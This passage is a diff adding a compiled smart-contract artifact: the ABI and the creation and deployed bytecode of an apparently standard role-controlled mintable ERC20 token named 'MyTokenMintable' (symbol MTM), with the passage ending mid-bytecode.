+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "subtractedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "decreaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        }
+      ],
+      "name": "getRoleAdmin",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "grantRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "hasRole",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "addedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "increaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "mint",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "renounceRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "revokeRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x60806040523480156200001157600080fd5b506040518060400160405280600f81526020017f4d79546f6b656e4d696e7461626c6500000000000000000000000000000000008152506040518060400160405280600381526020017f4d544d000000000000000000000000000000000000000000000000000000000081525081600390805190602001906200009692919062000248565b508060049080519060200190620000af92919062000248565b505050620000c76000801b33620000cd60201b60201c565b6200035d565b620000df8282620000e360201b60201c565b5050565b620000f58282620001d560201b60201c565b620001d15760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001766200024060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b8280546200025690620002f8565b90600052602060002090601f0160209004810192826200027a5760008555620002c6565b82601f106200029557805160ff1916838001178555620002c6565b82800160010185558215620002c6579182015b82811115620002c5578251825591602001919060010190620002a8565b5b509050620002d59190620002d9565b5090565b5b80821115620002f4576000816000905550600101620002da565b5090565b600060028204905060018216806200031157607f821691505b602082108114156200032857620003276200032e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b612254806200036d6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806340c10f19116100ad578063a457c2d711610071578063a457c2d71461036b578063a9059cbb1461039b578063d5391393146103cb578063d547741f146103e9578063dd62ed3e146104055761012c565b806340c10f19146102b357806370a08231146102cf57806391d14854146102ff57806395d89b411461032f578063a217fddf1461034d5761012c565b8063248a9ca3116100f4578063248a9ca3146101fd5780632f2ff15d1461022d578063313ce5671461024957806336568abe1461026757806339509351146102835761012c565b806301ffc9a71461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b6004803603810190610146919061185b565b610435565b6040516101589190611d94565b60405180910390f35b6101696104af565b6040516101769190611dca565b60405180910390f35b610199600480360381019061019491906117ba565b610541565b6040516101a69190611d94565b60405180910390f35b6101b761055f565b6040516101c49190611f2c565b60405180910390f35b6101e760048036038101906101e2919061176b565b610569565b6040516101f49190611d94565b60405180910390f35b610217600480360381019061021291906117f6565b610661565b6040516102249190611daf565b60405180910390f35b6102476004803603810190610242919061181f565b610681565b005b6102516106aa565b60405161025e9190611f47565b60405180910390f35b610281600480360381019061027c919061181f565b6106b3565b005b61029d600480360381019061029891906117ba565b610736565b6040516102aa9190611d94565b60405180910390f35b6102cd60048036038101906102c891906117ba565b6107e2565b005b6102e960048036038101906102e49190611706565b610823565b6040516102f69190611f2c565b60405180910390f35b6103196004803603810190610314919061181f565b61086b565b6040516103269190611d94565b60405180910390f35b6103376108d6565b6040516103449190611dca565b60405180910390f35b610355610968565b6040516103629190611daf565b60405180910390f35b610385600480360381019061038091906117ba565b61096f565b6040516103929190611d94565b60405180910390f35b6103b560048036038101906103b091906117ba565b610a5a565b6040516103c29190611d94565b60405180910390f35b6103d3610a78565b6040516103e09190611daf565b60405180910390f35b61040360048036038101906103fe919061181f565b610a9c565b005b61041f600480360381019061041a919061172f565b610ac5565b60405161042c9190611f2c565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104a857506104a782610b4c565b5b9050919050565b6060600380546104be90612121565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90612121565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b600061055561054e610bb6565b8484610bbe565b6001905092915050565b6000600254905090565b6000610576848484610d89565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c1610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611e6c565b60405180910390fd5b6106558561064d610bb6565b858403610bbe565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b61068a82610661565b61069b81610696610bb6565b610fff565b6106a5838361109c565b505050565b60006012905090565b6106bb610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90611eec565b60405180910390fd5b610732828261117d565b5050565b60006107d8610743610bb6565b848460016000610751610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d39190611f89565b610bbe565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66108148161080f610bb6565b610fff565b61081e838361125f565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6060600480546108e590612121565b80601f016020809104026020016040519081016040528092919081815260200182805461091190612121565b801561095e5780601f106109335761010080835404028352916020019161095e565b820191906000526020600020905b81548152906001019060200180831161094157829003601f168201915b5050505050905090565b6000801b81565b6000806001600061097e610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3290611ecc565b60405180910390fd5b610a4f610a46610bb6565b85858403610bbe565b600191505092915050565b6000610a6e610a67610bb6565b8484610d89565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610aa582610661565b610ab681610ab1610bb6565b610fff565b610ac0838361117d565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590611eac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590611e2c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7c9190611f2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df090611e8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090611e0c565b60405180910390fd5b610e748383836113b3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e4c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8d9190611f89565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff19190611f2c565b60405180910390a350505050565b611009828261086b565b6110985761102e8173ffffffffffffffffffffffffffffffffffffffff1660146113b8565b61103c8360001c60206113b8565b60405160200161104d929190611d5a565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108f9190611dca565b60405180910390fd5b5050565b6110a6828261086b565b6111795760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061111e610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b611187828261086b565b1561125b5760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611200610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690611f0c565b60405180910390fd5b6112db600083836113b3565b80600260008282546112ed9190611f89565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113429190611f89565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113a79190611f2c565b60405180910390a35050565b505050565b6060600060028360026113cb9190611fdf565b6113d59190611f89565b67ffffffffffffffff811115611414577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156114465781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106114a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061152e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000600184600261156e9190611fdf565b6115789190611f89565b90505b6001811115611664577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106115e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b82828151811061161d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061165d906120f7565b905061157b565b50600084146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90611dec565b60405180910390fd5b8091505092915050565b6000813590506116c1816121c2565b92915050565b6000813590506116d6816121d9565b92915050565b6000813590506116eb816121f0565b92915050565b60008135905061170081612207565b92915050565b60006020828403121561171857600080fd5b6000611726848285016116b2565b91505092915050565b6000806040838503121561174257600080fd5b6000611750858286016116b2565b9250506020611761858286016116b2565b9150509250929050565b60008060006060848603121561178057600080fd5b600061178e868287016116b2565b935050602061179f868287016116b2565b92505060406117b0868287016116f1565b9150509250925092565b600080604083850312156117cd57600080fd5b60006117db858286016116b2565b92505060206117ec858286016116f1565b9150509250929050565b60006020828403121561180857600080fd5b6000611816848285016116c7565b91505092915050565b6000806040838503121561183257600080fd5b6000611840858286016116c7565b9250506020611851858286016116b2565b9150509250929050565b60006020828403121561186d57600080fd5b600061187b848285016116dc565b91505092915050565b61188d8161204b565b82525050565b61189c81612057565b82525050565b60006118ad82611f62565b6118b78185611f6d565b93506118c78185602086016120c4565b6118d0816121b1565b840191505092915050565b60006118e682611f62565b6118f08185611f7e565b93506119008185602086016120c4565b80840191505092915050565b6000611919602083611f6d565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611959602383611f6d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119bf602283611f6d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a25602683611f6d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a8b602883611f6d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611af1602583611f6d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b57602483611f6d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bbd601783611f7e565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611bfd602583611f6d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c63601183611f7e565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611ca3602f83611f6d565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000611d09601f83611f6d565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b611d45816120ad565b82525050565b611d54816120b7565b82525050565b6000611d6582611bb0565b9150611d7182856118db565b9150611d7c82611c56565b9150611d8882846118db565b91508190509392505050565b6000602082019050611da96000830184611884565b92915050565b6000602082019050611dc46000830184611893565b92915050565b60006020820190508181036000830152611de481846118a2565b905092915050565b60006020820190508181036000830152611e058161190c565b9050919050565b60006020820190508181036000830152611e258161194c565b9050919050565b60006020820190508181036000830152611e45816119b2565b9050919050565b60006020820190508181036000830152611e6581611a18565b9050919050565b60006020820190508181036000830152611e8581611a7e565b9050919050565b60006020820190508181036000830152611ea581611ae4565b9050919050565b60006020820190508181036000830152611ec581611b4a565b9050919050565b60006020820190508181036000830152611ee581611bf0565b9050919050565b60006020820190508181036000830152611f0581611c96565b9050919050565b60006020820190508181036000830152611f2581611cfc565b9050919050565b6000602082019050611f416000830184611d3c565b92915050565b6000602082019050611f5c6000830184611d4b565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611f94826120ad565b9150611f9f836120ad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fd457611fd3612153565b5b828201905092915050565b6000611fea826120ad565b9150611ff5836120ad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561202e5761202d612153565b5b828202905092915050565b60006120448261208d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156120e25780820151818401526020810190506120c7565b838111156120f1576000848401525b50505050565b6000612102826120ad565b9150600082141561211657612115612153565b5b600182039050919050565b6000600282049050600182168061213957607f821691505b6020821081141561214d5761214c612182565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6121cb81612039565b81146121d657600080fd5b50565b6121e281612057565b81146121ed57600080fd5b50565b6121f981612061565b811461220457600080fd5b50565b612210816120ad565b811461221b57600080fd5b5056fea264697066735822122060bf28d8c7ab8339c3a065da4211f9dcfba9f40a4ed5a798445d8a8f9bc65db864736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806340c10f19116100ad578063a457c2d711610071578063a457c2d71461036b578063a9059cbb1461039b578063d5391393146103cb578063d547741f146103e9578063dd62ed3e146104055761012c565b806340c10f19146102b357806370a08231146102cf57806391d14854146102ff57806395d89b411461032f578063a217fddf1461034d5761012c565b8063248a9ca3116100f4578063248a9ca3146101fd5780632f2ff15d1461022d578063313ce5671461024957806336568abe1461026757806339509351146102835761012c565b806301ffc9a71461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b6004803603810190610146919061185b565b610435565b6040516101589190611d94565b60405180910390f35b6101696104af565b6040516101769190611dca565b60405180910390f35b610199600480360381019061019491906117ba565b610541565b6040516101a69190611d94565b60405180910390f35b6101b761055f565b6040516101c49190611f2c565b60405180910390f35b6101e760048036038101906101e2919061176b565b610569565b6040516101f49190611d94565b60405180910390f35b610217600480360381019061021291906117f6565b610661565b6040516102249190611daf565b60405180910390f35b6102476004803603810190610242919061181f565b610681565b005b6102516106aa565b60405161025e9190611f47565b60405180910390f35b610281600480360381019061027c919061181f565b6106b3565b005b61029d600480360381019061029891906117ba565b610736565b6040516102aa9190611d94565b60405180910390f35b6102cd60048036038101906102c891906117ba565b6107e2565b005b6102e960048036038101906102e49190611706565b610823565b6040516102f69190611f2c565b60405180910390f35b6103196004803603810190610314919061181f565b61086b565b6040516103269190611d94565b60405180910390f35b6103376108d6565b6040516103449190611dca565b60405180910390f35b610355610968565b6040516103629190611daf565b60405180910390f35b610385600480360381019061038091906117ba565b61096f565b6040516103929190611d94565b60405180910390f35b6103b560048036038101906103b091906117ba565b610a5a565b6040516103c29190611d94565b60405180910390f35b6103d3610a78565b6040516103e09190611daf565b60405180910390f35b61040360048036038101906103fe919061181f565b610a9c565b005b61041f600480360381019061041a919061172f565b610ac5565b60405161042c9190611f2c565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104a857506104a782610b4c565b5b9050919050565b6060600380546104be90612121565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90612121565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b600061055561054e610bb6565b8484610bbe565b6001905092915050565b6000600254905090565b6000610576848484610d89565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c1610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611e6c565b60405180910390fd5b6106558561064d610bb6565b858403610bbe565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b61068a82610661565b61069b81610696610bb6565b610fff565b6106a5838361109c565b505050565b60006012905090565b6106bb610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90611eec565b60405180910390fd5b610732828261117d565b5050565b60006107d8610743610bb6565b848460016000610751610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d39190611f89565b610bbe565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66108148161080f610bb6565b610fff565b61081e838361125f565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6060600480546108e590612121565b80601f016020809104026020016040519081016040528092919081815260200182805461091190612121565b801561095e5780601f106109335761010080835404028352916020019161095e565b820191906000526020600020905b81548152906001019060200180831161094157829003601f168201915b5050505050905090565b6000801b81565b6000806001600061097e610bb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3290611ecc565b60405180910390fd5b610a4f610a46610bb6565b85858403610bbe565b600191505092915050565b6000610a6e610a67610bb6565b8484610d89565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610aa582610661565b610ab681610ab1610bb6565b610fff565b610ac0838361117d565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590611eac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590611e2c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7c9190611f2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df090611e8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090611e0c565b60405180910390fd5b610e748383836113b3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e4c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8d9190611f89565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff19190611f2c565b60405180910390a350505050565b611009828261086b565b6110985761102e8173ffffffffffffffffffffffffffffffffffffffff1660146113b8565b61103c8360001c60206113b8565b60405160200161104d929190611d5a565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108f9190611dca565b60405180910390fd5b5050565b6110a6828261086b565b6111795760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061111e610bb6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b611187828261086b565b1561125b57600060056000848152602001908152602001600020